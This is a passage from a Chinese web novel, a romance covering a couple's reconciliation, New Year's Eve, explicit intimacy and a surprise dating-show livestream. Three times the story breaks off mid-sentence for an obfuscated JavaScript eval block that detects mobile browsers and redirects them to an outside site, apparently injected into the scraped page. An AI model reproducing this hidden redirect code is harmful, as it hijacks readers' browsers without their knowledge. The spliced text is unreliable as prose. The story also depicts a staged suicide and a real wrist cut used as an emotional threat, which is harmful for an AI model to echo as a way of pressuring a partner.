赵熙后退两步,移开了挂在他胸前的目光,这才注意到姜洄衣裳都没穿好:“我……我先出去。” 姜洄想了想,没拦着:“不准跑。” “……哦。” 要不是身上番茄酱太多了,姜洄澡都不想洗,他火速冲了个战斗澡,匆匆擦干了痕迹出去,赵熙果然还在客厅坐着。 没玩手机,什么也没干, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223395|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这样干坐着,背影有几分僵硬,视线定在茶几的那束白山茶上。 姜洄放缓脚步走过去,将花瓶后的那把刀拿了起来,正要拿走,被赵熙眼疾手快抓住了手腕。 他脸色沉下来:“这是什么?” 姜洄手腕清洗干净后,仍然还有一道血痕,很浅,但也很新鲜,在糜红色的旧疤上那样显眼。 姜洄缩了缩手,没缩成功,只好把刀尖转了个方向,对准了自己。 他偏开眸子,平淡道:“本来想真割的,不过下手的时候想到要是真的死了还挺可惜,就换了番茄酱。” “不过伤口还是留下了,就是不致命,也没流什么血。” 赵熙脸色更难看了。 他不肯放手,姜洄也没提醒,干脆坐到了他身边。 赵熙顺手把他手上的刀匕首拿了下来:“以后不要这样。” “哪样?”姜洄看着他,脸色和语气都平静,“自残吗?不会了,我现在还是挺惜命的。” 看到他真的来了的时候,还很高兴。 赵熙抿唇:“我不想你拿身体开玩笑。” “不算开玩笑。”姜洄轻笑,“我在威胁你,赵熙。” 他很少叫赵熙的全名,一旦叫了,就说明有很重要的事情要发生,或是他要说很重要的话。 赵熙偏了偏头看他,一时没能给出回答。 但他眼里写着沉甸甸的“什么意思?”。 姜洄又笑了下,手指顺着他抓着自己的姿势点了点他胸口,动作调/情一样,话却冰冷:“你要是不来,我不会真的去死。但我们之间,就真的完了。” 赵熙心口好像被什么拂了一下。 痒,还酸。 又酸又涨,好似塞了块铁,话都被哽在了喉咙里,不上不下,吐露不得。 姜洄凑过来亲了他一下,带着水汽的吻一触即离:“说话啊,哑巴。” “不要完。”赵熙听见自己这样说。 千种语言万般想法,只能憋出三个字。 姜洄笑了。 “你怎么来的?” 赵熙又沉默。 “坐车。” “从你那边到我家,三分钟?”姜洄挑眉,“你超人啊?” 赵熙闷闷道:“路过这边……正好看到了消息。” 姜洄冷眼睨他,没看出撒谎的痕迹,姑且信了。 “为什么不回我消息?” 又是沉默。 姜洄扳过他的下巴,强迫他和自己对视,语气不容置疑。 “说话。” 赵熙呼吸沉重了一瞬,垂眼:“怕你生气。” “你骗我就不怕我生气了?”姜洄说。 赵熙:“没有骗你……除了回去这件事。” “那你给我交代清楚,为什么要骗我?” 赵熙老老实实道:“……你不是很担心那边的情况吗?我怕我说我其实回不去,你会觉得我不上进,抛下那边的事情就为了来找你。” 毕竟那是姜洄亲手打理了十年的产业,他就这样不要了。 这个理由真是……好笑又可怜。 但姜洄竟然没有很意外,甚至隐约松了口气。 “为什么回不去?” “其实我没有系统了。”赵熙突兀道,“系统在我来到这个世界的时候就解绑了,我现在只能呆在这里。” 他瞥了一眼姜洄,话没说全,但姜洄自动在心里帮他补上了。 他又只有姜洄一个人了。 姜洄是他在这个世界,唯一的锚点。 可是…… “你不是说你来到这里的任务是我吗?”姜洄疑惑,“系统解绑了,你怎么完成任务?” 75.吃醋 赵熙低头,又不说话了,拿弧线优美的侧脸对着他。 姜洄啧了一声,拍了下他手背:“能说就说,不能说也要告诉我不能说。” “对你能说。”赵熙抬头看了他一眼,又飞快低下去了。“但是……我现在不想说。” 沉默片刻,赵熙反手握住钻过他的掌心,把他十指扣住了。“给我一点准备的时间。我会把一切都告诉你的……等我准备好。” 后面这句低若呢喃,姜洄差点没听清。 不说就不说吧。 或许是对于赵熙为什么骗他这件事的真相想的太严重了,真的知道为什么之后,反而觉得就这? 就这么点事,也值得赵熙费劲巴拉瞒着他,跟他搞这一通形似冷暴力? 他回不去了,姜洄难道还会因为这个生他的气吗? 姜洄深呼吸一口气。 “以后不准不回我消息。” “……好。” “有什么事都要和我解释清楚,不准装死。” “……好。” “行了,别丧着一张脸了,”姜洄摆摆手,“给我做饭去,饿了。” 矛盾解决,指挥顺手,心情舒畅。 赵熙却愣了下。 “哥……你,不生气了?” “当然没有。” 这么好哄岂不是显得他一点脾气也没有。 姜洄板着脸,思索片刻,抬了抬下巴,一副指点江山的模样。 “给我做顿丰盛的年夜饭,和我一起跨年,再给我发个大红包——我再考虑不生气。” 赵熙终于勾了勾唇角,眼里酝了点笑意。 “好。” 姜洄听乐了。 “你除了好还会说什么?” “对不起。”赵熙起身,低着头和他对视一眼,轻声道,“还有,以后别做伤害自己的事,不管因为什么。” 姜洄眨了下眼:“哦,你心疼是吧?” 赵熙点头:“嗯。” 姜洄耳朵红了一点,不过藏在湿漉漉的头发里不太明显。 他转移话题:“知道了……还站着干嘛,要跟我拉钩啊?” 赵熙想了想,竟然还真的伸出了手。 “……幼不幼稚。” 话虽如此,姜洄还是伸出手,和他小指勾了勾,然后将大拇指煞有介事地按在了一起。 赵熙语调平缓地念着只有小孩子才会信的誓词:“拉钩,不上吊,一百年,不许变。” 好像做完这个动作,就真的缔结了什么不可违背的契约一样。 恍惚间,姜洄甚至好像看见了自己在和年幼的黑崽拉钩。 思绪回笼,他挑了下眉:“好了,满意了?” 赵熙没说话,只是笑笑,把围裙戴上了。 此时姜洄才记起来,赵熙腿上还有伤。 不过现在他腿上的伤好得差不多了,走路也看不出什么问题,不然刚刚来找他也不可能健步如飞的,姜洄观察了一会儿才收回视线。 但赵熙却没有立刻去厨房,从客厅的柜子里拿出备用的医药箱,蹲在姜洄面前,示意他伸手。 他动作熟练得根本不需要姜洄提醒,感觉比姜洄还像这栋公寓的主人。 姜洄下意识伸出手去,右手支着下巴懒洋洋地笑:“一点小伤,你再晚一点涂药,它都要愈合了。” “那也要涂。”赵熙低着头,用酒精棉给他消了毒,将药膏挤出来轻柔均匀地涂抹在上面,“能不能好好对待自己的身体?” 这幅样子,怎么看也不像是厌倦了姜洄,或是存心报复什么的。 感觉都没有人比他更爱了。 这个念头在姜洄脑海里闪了闪。 心里仅剩的那点郁气与怀疑也吐了出去,失去的安全感好似又在赵熙几句话和几个动作中回归到了姜洄身体里。 他懒散道:“跟你拉钩了,我说到做到。” 赵熙将他伤口处理完,起身把药箱放了回去,不忘提醒他:“头发吹一吹。” 姜洄拿起桌上果篮里的一个苹果啃了一口,不想动弹:“让它自然晾一会儿。” 赵熙摇摇头,像是不赞同:“我给你吹吧。” “我饿了。”姜洄立刻妥协,“你去做饭,我自己吹去。” 赵熙在厨房里忙,姜洄吹完头发,跟街溜子一样闲逛过去,站在门口看了眼。 他动作熟练,和以前每次给姜洄下厨一样,食材下锅呛出一阵烟雾,赵熙扭头看了他一眼,确认他头发干了:“别站门口,油烟大。” 姜洄目光在他围裙上一掠而过。 赵熙今天来得匆忙,就穿了件黑色高领毛衣和大衣外套,脱了外套,这毛衣就相当显身材,宽肩窄腰一览无余,搭上这身围裙,更是赏心悦目。 他随口道:“不是有油烟机吗,没事。” 赵熙便随他去了。 “你留在这里,是你自己的选择,还是系统的要求?” 锅铲翻炒的嘈杂声里,混合着窗外零星的鞭炮声,姜洄突兀道。 赵熙翻炒铲子的动作顿了一下,老实道:“我自己。” “不会后悔吗?”姜洄说。 赵熙笑了下,因为面朝锅铲,侧身背对着姜洄,这笑就显得不太明晰:“哥觉得我在另一个世界,有什么特别值得留恋的东西或人吗?” 姜洄张嘴,想说钱不是吗,地位不是吗? 他费尽力气给赵熙弄了这样一个赵家少爷的身份,到最后也不肯公开他们其实没有血缘关系这一点,不就是怕赵熙在他走后无所依靠,再次失去一切吗? 可这话没能说出来,因为姜洄想起,爱财的是十几年圈子里摸爬滚打的他,不是金尊玉贵少爷一样长大的赵熙。 人越缺什么,越想拥有什么。 在赵熙眼里,也许有比钱比地位更重要的东西。 他不会留恋那边的一切,是因为他最重要最珍视的那一样,已经不在那个世界了。 就如同赵熙所说的那样,其实他的锚点,不论在哪个世界里,都是姜洄。 “哥,”赵熙轻声道,“你在哪里,我就在哪里。” 姜洄被他这句堵得半天没能回话。 他干脆不杵在那碍事了,回卧室开了电视机,一边播放动物世界,一边心不在焉地刷手机。 半小时后,唐尺发消息问他怎么样了。 姜洄回复了一个皮卡丘比“ok”的表情包。 【小唐:不错啊,真速度。】 【小唐:怎么解决的,是不是用我的方法?】 【小唐:哎呀我就说嘛,真喜欢你的话,分手的话一出,没有男人能忍得住不来找你。】 【口-口:算是吧,你的方法确实有点用。】 不过假装自杀把人骗过来的事还是不提了,怕唐尺吓到撅过去。 【小唐:今晚有空一起打麻将啊,叫上你对象,我这边二缺二。】 【口-口:你和余书?不看春晚?】 【小唐:是啊。春晚来来回回也就是唱歌小品,有什么好看的,我好几年不看春晚了。】 客厅里,喊了他两声都没得到回应的赵熙推门进来:“哥,吃饭了。” 姜洄抬头:“哦。” 他回复唐尺:【我去吃年夜饭了。】 【小唐:那一会儿打麻将吗?】 【口-口:再看。】 眼见他到桌边了还在回消息,赵熙默默伸手挡了一下他大腿前的桌角,这动作终于让姜洄回神,收起了手机:“你做了什么?” 他看了眼桌上丰盛的菜式,两个人七八道菜,色香味俱全,看着就令人口齿生津。 姜洄鼻尖耸动了下,闻着红烧鸡翅的味道准确一眼找到了最爱吃的一道菜。赵熙知道他喜欢,就放在他面前。 “好香。” “随便做的,我们要去放鞭炮吗?” 江城是有年夜饭前放炮的习俗。 姜洄道:“算了,不想被罚款,听着别人家的也行。” 富人区根本不在乎罚款这点钱,放鞭炮就图个喜庆。 赵熙也不意外,把围裙解下来,顺手将桌上的饮料拧开了。 两人都不喝酒,过年只喝果汁。 不是第一次一起过年了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229409|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,是重逢后的第一次。 姜洄看着两只装着橙色果汁的酒杯轻轻碰在一起,灯光下的液体隐约透着可口的光泽,有点出神。 赵熙说:“新年快乐。我今年还有新年礼物吗?” 姜洄挑眉,抿了口果汁:“这么多天都躲着我,还想要新年礼物?” 赵熙笑笑,像是不出所料。 姜洄道:“想要也行,我回头补上,那你的礼物呢?” 他伸出手,随意放在桌面上,修长的指尖朝赵熙挑了挑。 赵熙目光从他掌心收回来:“忘带了,也下次补给你。” 好吧,他今天来得确实匆忙,不管忘带礼物是不是借口,姜洄也不打算为难他了。 吃了两口菜,姜洄胃里才舒坦了些,听见赵熙问他:“你刚刚在和谁聊天?” 姜洄下意识回复:“朋友啊。” 赵熙点头:“哦。” 姜洄反应过来,掀起眼皮扫了他一眼,没看出他有什么情绪,琢磨道:“怎么了?” “没,”赵熙夹了一筷子青菜进嘴里,平静道,“随便问问,看你刚刚聊天,都没听见我喊你。” 好像有什么东西打翻了。 姜洄失笑:“我没听见,外面鞭炮声太大了,我还开着电视呢。” 赵熙神色不易察觉地软和了些:“我知道。” 你知道你还醋? 姜洄想了想:“我这朋友你应该认识?余书他对象,唐尺。” 赵熙愣了:“啊?哦。” “你们怎么认识的?” 姜洄道:“我常去顺城那边,住的酒店是他开的,有次恰好遇见了,聊得投缘就加了联系方式,才知道他是老板。” 赵熙又“哦”了一声,呆愣愣地低头吃饭,不说话了。 “他刚还问我要不要打麻将。”姜洄道,“你打吗?” 赵熙:“我不太会打。”他没怎么接触过这些,也没兴趣。 姜洄会打,是因为之前上过一个综艺,在旁边看着其他嘉宾玩,记住规则了,水准其实也不怎么样。 姜洄道:“那就不打。” 赵熙迟疑着看他:“我不打,你就不打?” “大过年的,你又不陪我,我打什么麻将,去看他俩小情侣秀恩爱啊?”姜洄随口道,“不如看春晚呢。” 赵熙默默换了公筷给他夹菜,没再说什么。 年夜饭很久没吃这么丰盛了,姜洄甚至觉得有点撑。 碗筷放到厨房的洗碗机里,两人简单收拾了下桌面,然后姜洄回房间看春晚,赵熙去洗澡。 他边嗑瓜子边回唐尺消息:【他不打麻将,我也不打了。】 【小唐:?】 【小唐:你看看你这什么话,几天不见变恋爱脑了?】 【口-口:你对象会因为你和我聊天吃醋吗?】 【小唐:?不会啊,这为什么要吃醋。】 【口-口:他会。】 【小唐:?此男占有欲太强了吧】 【小唐:建议跟我分享一下怎么吃醋的/吃瓜】 姜洄笑着打字,刚要发咱们没事还是少联系,免得我男朋友不高兴——当然是开玩笑,纯粹秀秀恩爱罢了。 但话没发出去,手机被人从旁边抽走了。 赵熙裸着上半身,只腰上围着一条浴巾,头发还带着水汽,脸色白里透红,有种洗干净可以任由大爷为所欲为的纯洁感。 姜大爷好半天才把目光从他胸口和腹肌上移开:“干嘛?” 赵熙没看手机,反手把屏幕摁灭了。 他低下头,和姜洄贴了贴嘴角,语气淡淡的:“又是和唐尺聊天?” 姜洄下意识抬下巴,追逐了一下他拉开的距离,意识到自己在干什么后又顿住了:“对啊。玩手机你也要管?” 赵熙没什么表情:“别玩手机了。” 屋里没开灯,只有电视剧的春晚还在喜气洋洋表演着歌曲,有那么几丝光溢进了赵熙眼底,反射着幽幽萤火。 他握住姜洄的手腕,将他的手拉上自己腰间,放轻了声音。 “玩玩我。” 76.年关 这姜洄怎么能忍得了? 甫一对视,便好似火花四溢,他立刻就要站起来,但赵熙膝盖顶在他身侧,又将他的动作压了回去。 这样略显强势的姿态,从前赵熙是很少在他面前展露的。 姜洄才愣了下神,赵熙已经低下头,和他接吻,情/欲在久违的深吻里蔓延。 好像察觉到今晚他不太高兴似的,姜洄伸手环住他的腰,一手挂在赵熙脖子上,尽力回应着。 吻到姜洄气喘吁吁,赵熙终于舍得分开唇齿,开始往下亲。 姜洄抬手拦住他扒衣服的动作:“等等。” 他哑声道:“不是让我玩玩你吗?” 他咽了咽唾液,在赵熙几分疑惑的视线里低声道:“那个围裙,你穿上。” 赵熙:“……” 他犹疑:“哥原来,喜欢这样的?” 姜洄咳了一声:“你做饭的时候就想这么干了,现在实践一下。” 赵熙直起身,点头:“行。” 他去找围裙,姜洄顺手把旁边的手机捞起来,和唐尺又发了条消息过来:【人呢?】 【口-口:你没有夜生活吗?】 【小唐:?】 【口-口:春宵苦短,你懂的】 【小唐:???】 姜洄没再发消息过去,也没看到回复。 因为赵熙回来了,穿着他垂涎了几个小时的那条围裙。 被压在被子上时,姜洄还记得顺手关个电视。 除夕夜的灯开了就不能关,赵熙坚持这个理由,把姜洄的关灯申请驳回了。 这也是他们第一次在开着灯做。 赵熙腿没好完全,也不敢让他折腾太久,进程到一半,姜洄翻身自己坐了起来。 他眼神失焦又重聚,顶着头顶晃眼的灯火和赵熙直白的眼神,脸皮臊得通红,身体也控制不住地在抖,整个人都从里到外都变得滚烫。 赵熙支起上身来亲他,握着他的腰身防止他掉下去,连喘息都悦耳:“哥。” 姜洄抬眼:“……做什么?” “前几天,和你一起吃饭的人是谁?” 前几天? 姜洄费劲地回想了一下,声音沙哑:“唐尺啊。” 又是唐尺。 赵熙抿唇,也不知道信没信。 察觉到他的沉默,姜洄回了点神,靠过去一些,把脑袋和他额头贴在一起:“你不高兴我和他来往?” “没有。” “那你老是问这些干什么?” 赵熙张了张口,半晌,闷声道:“我不问了。” 姜洄缓和了语气,抓着他的胳膊当支点,稍微低下去亲了亲他:“笨蛋。” “不高兴就说,不要瞒我。” 赵熙咬了下他的唇瓣,没让他逃走。 他含含糊糊的,声音像是黏了一层马赛克:“要是我说不高兴的话,你会为我解决吗?” “不然呢?”姜洄顿了顿,“当然,我解决不了的除外。” 有时他也会疑惑,曾经赵熙说,他总学不会坦诚,可如今好像更不坦诚的人成了赵熙自己。 算是对他曾经那些时间碎片中沉默的惩罚吗? 赵熙很久才哑声回道:“好。” 好是什么意思?会说的意思? 姜洄又有点神志不清了,没再回话。 被潦草甩到床尾的手机上屏幕亮起了两次,但无人在意。 【小唐:兄弟你被夺舍了就扣1】 【小唐:?】 【小唐:又不见了?】 【小唐:哦~懂了。】 【小唐:祝你夜生活愉快~】 窗外的烟花在零点准时绽放。 赵熙抱着姜洄从浴室出来,轻手轻脚把人抱上床,在他耳边喊:“哥。” “新年快乐。” 许久,睡得迷迷糊糊的姜洄侧过身,反手搭在他腰上。 他嘟囔了句:“知道了……新年快乐。” 赵熙愣了一秒,回抱住他,把人紧紧搂在怀里,闭上了眼。 喟叹声散在空中。 真好,新的一年,他们还在一起。 …… 赵熙又在公寓住了下来,整个年都是他们一起过的。 姜洄第二天就给他补了新年礼物,一辆新车。 赵熙则又送了他一副单片眼镜,和以前他送的那只一模一样。 姜洄摸了摸镜框,还是没忍住把话问出口:“这是你从那个世界带过来的?” 赵熙沉默了下:“不是。” 两个时空的任何东西都带不过去,除了系统绑定的本人。和姜洄那时候面临的情况一样。 他们失去的,已经永远拿不回来了。 姜洄无言片刻,没有问下去,心中关于那只腕表的疑虑自然而然也被粉碎了。 这眼镜做得很像从前那一只,看来是赵熙自己记下来定制的。 腕表兴许也是。 日子就这样又慢悠悠地过着,因为没什么亲戚要走,这个新年,姜洄只去了几个朋友家晃了一圈就又回来了,更多时候是呆在家里和赵熙一起啃年货,偶尔也有朋友上门拜年,姜洄都没让他露面。 毕竟长得这么像,又住他家里,一个一个解释起来太麻烦了,不如等综艺结束再说。 这期间赵熙抽空去补录了专辑内容,才从百百姐那里得知,姜洄找她问过行程。 不过这也不重要了。 一周后,赵熙腿伤好得差不多,姜洄也终于不用再坐着运动了。 距离前去综艺正式拍摄还有三天的时候,双方的经纪人就提醒他们最好提前一天准备好行李,这一期综艺前三天的拍摄地点在隔壁银城,节目组打过招呼,拍摄前天会派人提前来接他们。 路上也可能会开个一小时的直播,一切流程看节目组想怎么办。 年关刚过去,人们也逐渐无聊起来,但大部分有空刷微博看节目的粉丝们都还在上学,基本还没到上学的时候,关于这场直播的综艺讨论度也随着时间的推进,热度越涨越高。 其中当然是一直没有露面过的第三对情侣最引人注目,甚至节目组带头发起了投票,让大家猜第三对情侣到底是圈子里的哪一对,猜对有奖。 这下好了,路人粉丝越讨论越上头,甚至已经有几对互相关系不太好的圈内情侣粉丝激情互掐起来了。 连宋因雯这样的单身明星也有所耳闻,饶有兴趣地跟姜洄提起。 姜洄点进她发过来的那个投票链接,看着楼里越来越歪的走向,陷入了沉思。 甚至有人猜一对离婚多年的夫妻,也没人猜他俩。 中间也有几个粉丝慧眼明珠地提出“怎么就一定是在一起过的呢?不能是没公开的吗?” 马上被人反驳了回去:【你见过哪对敢上这综艺的情侣没有公开的?不管真不真,都在营造恩爱多年的人设,不然上这节目干嘛,公开来了?要真是这样,你看我到时候喷不喷就完了】 【节目组营销这个神秘情侣肯定是因为身份特殊啊,要是真的为了公开才来的,还搞这么个噱头,节目组到时候不得被骂得狗血淋头?】 【放心吧,李导不做这种吃力不讨好的事情,我更愿意相信这是对反目成仇多年的大明星组合情侣,大家根本想不到他们都这样了会来上节目,所以节目组才搞这一出/大拇指】 【我觉得楼上说得对】 …… 于是这群人又轰轰烈烈开始扒圈内到底有哪对是反目成仇多年的大人物了。 姜洄沉默地看完,沉默地退出来,沉默地给她发了个“?”。 【宋:听说后天就要开播了,我都有点小激动呢,你觉得这对会是谁?】 【口-口:……不知道。】 签了节目组的合同,就得跟着节目组来,口风是一点都透漏不得的。 【宋:你也猜不到?】 姜洄觉得她这话显得有点奇怪,好像宋因雯笃定他能猜到一样。 他发了个“。”出去。 【宋:话说我总觉得这海报有点奇怪,感觉两张海报的身影都跟一个人一样……而且有点眼熟。】 【宋:实不相瞒,我觉得这很像你】 哦,探他口风来了。 其实那个讨论贴下面也有不少人提出感觉海报上的人像姜洄和“xx”的影子,这两人甚至是他们前期讨论过的重点对象,不过后来被带偏了。 因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232033|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都觉得他俩上节目太不可思议了,不觉得他俩能在一起。而且“xx”脸都没露过,真名都不知道叫什么,一直也没提出过要露脸的事情。 之前有次演唱会,有个疯狂的男粉丝在他下台后冲上去要揭他面具,差点被xx当场扭断手臂。 xx线下虽然也戴面具,除了唱歌不怎么爱说话,但少数几次开口,对人态度还是很温和的,那是大家第一次听到他冷下声音,一边抓着那人,一边还不忘扣住面具以免真的掉下来,把人交到保安手上后,就头也不回地离开了。 看得出来他很忌讳摘面具这件事。 大家自然而然认为他肯定是脸上有什么缺陷,黑粉更猖狂了,粉丝也更怜爱了。 还有一些身份比较特殊的粉丝因为好奇,私下调查过xx,却发现对方真的没有在任何公共视野露面过,两年前和星光娱乐签约了,那两年前的之前呢? 所有经历都是一张白纸,什么都查不到。 要么身份特殊,要么被星光娱乐刻意抹去了痕迹,改名换姓了。 那之后有谁在xx的微博下好奇他面具下长什么样子,都会被粉丝礼貌回复:你好,我家哥哥不露脸哦,请不要在正主微博下提起露脸相关话题。 对黑粉那就不客气了。 女友粉男友粉大多数都转化为了妈妈粉爸爸粉,xx虽然没说什么,他们私底下却因为xx是两年前凭空出现这件事,联合其他各种线索,脑补出了一堆xx因为童年凄惨、回忆可怖所以戴上面具重新做人的悲痛经历。 传出去也是闻者伤心见者落泪,整个粉丝群体都见不得有人诋毁他肯定是颜值不行所以才不露脸的话了,战斗力狂飙不止一个档次。 惹得没有黑粉敢在xx微博底下猖狂,简直是圈内一片净(清)土(流)。 说他要露脸就已经够让粉丝嗤之以鼻了,还说他第一次露脸会在恋综?是xx疯了还是他们疯了? 扯太偏了,姜洄把思绪拉回来,看了眼刚去卧室找光碟回来的赵熙。 现在已经是晚上七点了,两人刚吃过饭,按赵熙的安排,他们的东西已经差不多收拾好了,明天再查缺补漏一回,节目组大概会在下午来接他们,然后晚上住在银城,明天正式开拍。 闲得没事,姜洄让他找张电影片子来看,看完正好睡觉。 赵熙刚把光碟放好,在沙发上坐下,姜洄就把自己靠了过去,顺手把身上盖着的毛毯也分了一半给他。 赵熙低头看他:“在和谁聊天?” 姜洄头都没抬,随口道:“宋姐,你知道的。” 气氛凝固了一秒。 赵熙确实知道,但知道是原因是,他能加上姜洄,就是因为“宋姐”给姜洄介绍了个对象。 那这次他们在聊什么? 姜洄意识到说错了话,立刻不动声色安抚了句:“她好奇参加综艺的人是不是我,探我话呢。” 赵熙沉默着抚过他后颈的半长头发,没说话。 姜洄聊天也没避着他,这个姿势正好让赵熙看见他的聊天界面,还没来得及转过目光,就见他熟练打字:【你想多了,一个像我还好说,两个都像你肯定是你看错了】 然后把手机按灭了。 他抬手抓住赵熙撸猫一样悄悄撸他头发的手,放到腰间,神色安详。 要看电影,所以刚刚赵熙关了灯,只有电视的大屏幕亮着,沙发边的小太阳呼呼吹着,炙热的风随着细微的噼啪声一阵阵吹过来。 他的眼睛在屏幕的荧光下轻轻眯了起来,此时的神态,倒也真的像是一只猫了:“好了,看电影吧。” 赵熙顿了顿:“不和她说吗?综艺的事。” 姜洄道:“后天就直播了,到时候她会知道的。现在重要的是看电影。” 他把赵熙因为低头看他所以低下来的下巴抬上去,训兽一般轻斥:“——看屏幕,别看我。” 赵熙便乖乖把目光挪开了。 他避开姜洄能够注意到的角度,微微后仰,靠在沙发上,也让姜洄能更舒服地靠在他腿上舒舒服服地躺着看。 姜洄看电影,他不一样,他大多数时候在看姜洄。 盯着这人的后脑勺,赵熙眼神晦暗明灭,不知在想些什么。 77.直播 他们看的是部爱情电影,讲得是两位男主人公在民国时代背景下因为各种无奈被迫分开,最后因为一场误会天人永隔的故事。 这片子算是老电影了,在国内刚刚同行合法的时候上映的,姜洄看过不少次,情节都能背下来了,有时候放这电影纯粹是当背景音听。 不过和赵熙一起看又不一样了,他看一会儿,便要扭头去瞅一眼赵熙的反应。 如此反复几次,电影上进行到了床戏。 他再回头看来时,赵熙把他脑袋按住了:“哥老是看我做什么?” 姜洄道:“我还挺喜欢这片子的,不过现在我对这片子有点不满意。” “嗯?” 姜洄道:“有误会有磨难就一定会分开吗?一定要be吗?我觉得倒也不完全。” 赵熙听懂了他话里的意思,思索了下,一本正经地谴责:“你怎么给我剧透?” 姜洄乐了:“说都说了,你给点反应呗。” 赵熙道:“电影具备艺术性,多以缺憾为美,只要知道现实不是这样就好了。” 姜洄得到了满意的答复,戳了下他腰腹:“虽然这么说,但要是有误会不解决也不行,你明不明白?” 赵熙没回答,只抓着他的手送到脸颊边蹭了蹭,以示默认。 背景里的两位男主角也进行到了关键一步,暧昧的喘息声断断续续,听得人面红耳热。 姜洄莫名有点不好意思,想把脑袋扭回去继续看电影,见赵熙的眼神轻轻落在他脸上,从眼睛鼻梁再到唇,隐约有些暗色。 这是想亲的意思。 姜洄挑了下眉:“电影可以改天再看吗?” 说着已经支起身,另一只手抓着赵熙的胳膊,将唇贴过去。 赵熙自然不会拒绝,片刻后唇齿分开换气,他问:“真的不看?” 姜洄舔了下唇瓣。 他学着剧里唱戏的男主角轻声喊赵熙:“小郎君,你觉得呢?” 小郎君…… 小郎君立刻被勾了魂魄,失去抵抗能力,缴械投降。 第二天早上八点,赵熙被闹钟叫醒。 昨天两人闹得有些晚,不然这个点赵熙已经起床去楼下跑步了。 难得醒来有些懒散不想动弹,赵熙翻了个身,把手搭上姜洄的腰间,脑袋埋在对方后颈边,闻着他身上熟悉的味道,心中有种悠长的安定。 片刻闲暇被敲门声打断了。 赵熙覆住姜洄的耳朵,看他闭着眼睛皱眉,轻声道:“你睡,我去看看。” 姜洄眉头于是又松了下来,把被子一抓,闷头继续睡了。 大早上的,会是谁来? 赵熙身上就一条裤子,不好见人,他想了想,收回想要拿高领毛衣的手,换了件松垮的白衬衫。 衬衫勉强遮住他身上的抓痕,但脖子上的吻痕可盖不住。 敲门声还在响,他扣子也没来得及完全扣上,就匆匆过去开了门。 “记得是这没错啊……”门口站了一个年轻男人,身上穿得还挺正式,头发打了发胶,应该还喷了香水,因为赵熙闻到了空气中某种名贵香水的味道,不属于楼道,也不属于姜洄家里。 赵熙开门前,对方正低着头看手中的一张纸条,黑西服的胸口上别了个什么东西,赵熙没看清,因为男人听见开门的声音已经抬起了头,纸条也顺势收了起来,笑眯眯道:“姜老师,早上——” “他在睡觉。”赵熙的视线在他脸上一扫而过,淡定道,“有事吗?” 长得还行,但不算帅哥。 配不上姜洄。 卧室里的人还在睡,赵熙不想把他吵醒,所以放轻了声音。 男人愣了下,表情有点懵,像是没听懂他的话。 正在此时,他身后又默默站出来一个男人,举着一台——相机。 这下换赵熙愣住了。 这人站在门口旁边,恰好是玄关视线的死角,赵熙就没注意到。 门口两个人,目光都非常默契地往他脖子上扫。 赵熙沉默了下,终于注意到男人胸口别着的东西——收音器:“你们是,节目组的人?” 西装男先反应过来:“哈哈,是啊……那什么——我是相恋一百天节目组的主持人何其。” 他尴尬一笑,提醒:“我们在直播。” 节目组的主持人自然是知道他俩的身份的,可能刚刚赵熙出现的时候,因为在姜洄家里,加上这张脸,主持人下意识把他当成了姜洄。 现在大概是反应过来他是谁了。 赵熙沉默得不能更沉默了。 本以为节目组的人下午才会过来,谁知道会打个突然袭击? 他扣好领口最后一个扣子,侧过身道:“先进来吧。” 早上八点的直播间,因为没有预告过,其实人本来是不多的。 主持人第一个来的就是他们这里,没想到开局就是重磅场面。 两人坐在沙发上,看赵熙熟练地倒了茶水,何其从摄影师递过来的手机数据上看到,直播间已经几万人了。 从刚开始的一两千,到现在的七八万,人数还在疯狂增长,弹幕更是已经刷的看不清了。 【???】 【已截屏】 【什么叫他还在睡?】 【给我听懵了,这不是姜洄吗?】 【突然开播就算了,第一个来找的是姜洄就算了,为什么——谁能告诉我,他脖子上的那些痕迹怎么回事?】 【没听说姜洄谈恋爱啊……】 【他能上这个恋综还不能说明问题吗?说明他有对象了啊,这有什么好讨论的,朋友们,你们在梦游吗?】 【不是在讨论,是在震惊】 【已知节目嘉宾第一对是女同,第二对是小白他们……现在身份未知的情侣,就是第三对】 【相恋开播第一天,来的是姜洄家里,第三对情侣里的其中之一是谁呢,好难猜啊。】 【说实话我不太能接受姜洄恋爱这件事,太突然了……】 【我更不太能接受姜洄突然上恋综这件事……】 【布尔,没人在意这个帅哥到底是谁吗?主持人提到“姜老师”的时候,他说“他还在睡”,不就是否认了自己是姜洄吗?那他是谁!!!是谁!!!】 【楼上,我在意】 【身高不一样,他绝对不是姜洄】 【王秘书,三分钟之内我要这个男人的全部信息】 